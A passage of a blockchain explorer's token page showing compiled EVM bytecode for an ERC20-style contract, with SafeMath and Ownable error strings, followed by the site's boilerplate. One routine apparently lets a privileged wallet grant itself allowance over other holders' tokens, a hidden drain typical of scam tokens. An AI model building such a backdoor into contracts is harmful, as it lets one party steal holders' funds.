573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f539190612a8f565b81600181518110611f6757611f66612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161202f959493929190613158565b5f604051808303815f87803b158015612046575f80fd5b505af1158015612058573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120de573d5f803e3d5ffd5b5050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361211f5760019050612179565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361215b5760019050612179565b5f820361216b5760019050612179565b6121768484846122fe565b90505b9392505050565b5f808303612190575f90506121f1565b5f828461219d919061296a565b90508284826121ac91906131dd565b146121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39061327d565b60405180910390fd5b809150505b92915050565b5f61223883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061246d565b905092915050565b5f81831161224e5782612250565b815b905092915050565b5f808284612266919061329b565b9050838110156122ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a290613318565b60405180910390fd5b8091505092915050565b5f6122f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123e0575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123df575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15612463578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f90509392505050565b5f80831182906124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa9190612558565b60405180910390fd5b505f83856124c191906131dd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125055780820151818401526020810190506124ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61252a826124ce565b61253481856124d8565b93506125448185602086016124e8565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125b282612589565b9050919050565b6125c2816125a8565b81146125cc575f80fd5b50565b5f813590506125dd816125b9565b92915050565b5f819050919050565b6125f5816125e3565b81146125ff575f80fd5b50565b5f81359050612610816125ec565b92915050565b5f806040838503121561262c5761262b612581565b5b5f612639858286016125cf565b925050602061264a85828601612602565b9150509250929050565b5f8115159050919050565b61266881612654565b82525050565b5f6020820190506126815f83018461265f565b92915050565b612690816125e3565b82525050565b5f6020820190506126a95f830184612687565b92915050565b5f805f606084860312156126c6576126c5612581565b5b5f6126d3868287016125cf565b93505060206126e4868287016125cf565b92505060406126f586828701612602565b9150509250925092565b5f60ff82169050919050565b612714816126ff565b82525050565b5f60208201905061272d5f83018461270b565b92915050565b5f6020828403121561274857612747612581565b5b5f612755848285016125cf565b91505092915050565b612767816125a8565b82525050565b5f6020820190506127805f83018461275e565b92915050565b5f806040838503121561279c5761279b612581565b5b5f6127a9858286016125cf565b92505060206127ba858286016125cf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561284657808604811115612822576128216127c4565b5b60018516156128315780820291505b808102905061283f856127f1565b9450612806565b94509492505050565b5f8261285e5760019050612919565b8161286b575f9050612919565b8160018114612881576002811461288b576128ba565b6001915050612919565b60ff84111561289d5761289c6127c4565b5b8360020a9150848211156128b4576128b36127c4565b5b50612919565b5060208310610133831016604e8410600b84101617156128ef5782820a9050838111156128ea576128e96127c4565b5b612919565b6128fc84848460016127fd565b92509050818404811115612913576129126127c4565b5b81810290505b9392505050565b5f61292a826125e3565b9150612935836126ff565b92506129627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461284f565b905092915050565b5f612974826125e3565b915061297f836125e3565b925082820261298d816125e3565b915082820484148315176129a4576129a36127c4565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6129df6020836124d8565b91506129ea826129ab565b602082019050919050565b5f6020820190508181035f830152612a0c816129d3565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a476017836124d8565b9150612a5282612a13565b602082019050919050565b5f6020820190508181035f830152612a7481612a3b565b9050919050565b5f81519050612a89816125b9565b92915050565b5f60208284031215612aa457612aa3612581565b5b5f612ab184828501612a7b565b91505092915050565b5f604082019050612acd5f83018561275e565b612ada602083018461275e565b9392505050565b5f819050919050565b5f819050919050565b5f612b0d612b08612b0384612ae1565b612aea565b6125e3565b9050919050565b612b1d81612af3565b82525050565b5f60c082019050612b365f83018961275e565b612b436020830188612687565b612b506040830187612b14565b612b5d6060830186612b14565b612b6a608083018561275e565b612b7760a0830184612687565b979650505050505050565b5f81519050612b90816125ec565b92915050565b5f805f60608486031215612bad57612bac612581565b5b5f612bba86828701612b82565b9350506020612bcb86828701612b82565b9250506040612bdc86828701612b82565b9150509250925092565b5f604082019050612bf95f83018561275e565b612c066020830184612687565b9392505050565b612c1681612654565b8114612c20575f80fd5b50565b5f81519050612c3181612c0d565b92915050565b5f60208284031215612c4c57612c4b612581565b5b5f612c5984828501612c23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612cbc6024836124d8565b9150612cc782612c62565b604082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d4a6022836124d8565b9150612d5582612cf0565b604082019050919050565b5f6020820190508181035f830152612d7781612d3e565b9050919050565b7f45524332303a20756e61626c6520746f207472616e7366657220746f207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f612dd86029836124d8565b9150612de382612d7e565b604082019050919050565b5f6020820190508181035f830152612e0581612dcc565b9050919050565b5f612e16826125e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e4857612e476127c4565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612ed0612ecb612ec684612ead565b612aea565b6125e3565b9050919050565b612ee081612eb6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f18816125a8565b82525050565b5f612f298383612f0f565b60208301905092915050565b5f602082019050919050565b5f612f4b82612ee6565b612f558185612ef0565b9350612f6083612f00565b805f5b83811015612f90578151612f778882612f1e565b9750612f8283612f35565b925050600181019050612f63565b5085935050505092915050565b5f604082019050612fb05f830185612ed7565b8181036020830152612fc28184612f41565b90509392505050565b5f80fd5b612fd882612510565b810181811067ffffffffffffffff82111715612ff757612ff6612e53565b5b80604052505050565b5f613009612578565b90506130158282612fcf565b919050565b5f67ffffffffffffffff82111561303457613033612e53565b5b602082029050602081019050919050565b5f80fd5b5f61305b6130568461301a565b613000565b9050808382526020820190506020840283018581111561307e5761307d613045565b5b835b818110156130a757806130938882612b82565b845260208401935050602081019050613080565b5050509392505050565b5f82601f8301126130c5576130c4612fcb565b5b81516130d5848260208601613049565b91505092915050565b5f602082840312156130f3576130f2612581565b5b5f82015167ffffffffffffffff8111156131105761310f612585565b5b61311c848285016130b1565b91505092915050565b5f61312f826125e3565b915061313a836125e3565b9250828203905081811115613152576131516127c4565b5b92915050565b5f60a08201905061316b5f830188612687565b6131786020830187612b14565b818103604083015261318a8186612f41565b9050613199606083018561275e565b6131a66080830184612687565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131e7826125e3565b91506131f2836125e3565b925082613202576132016131b0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132676021836124d8565b91506132728261320d565b604082019050919050565b5f6020820190508181035f8301526132948161325b565b9050919050565b5f6132a5826125e3565b91506132b0836125e3565b92508282019050808211156132c8576132c76127c4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613302601b836124d8565b915061330d826132ce565b602082019050919050565b5f6020820190508181035f83015261332f816132f6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a55b6ff02052c4d072a8ec29a07d03a584f3660a2583e2c1b82338f93a40ee464736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.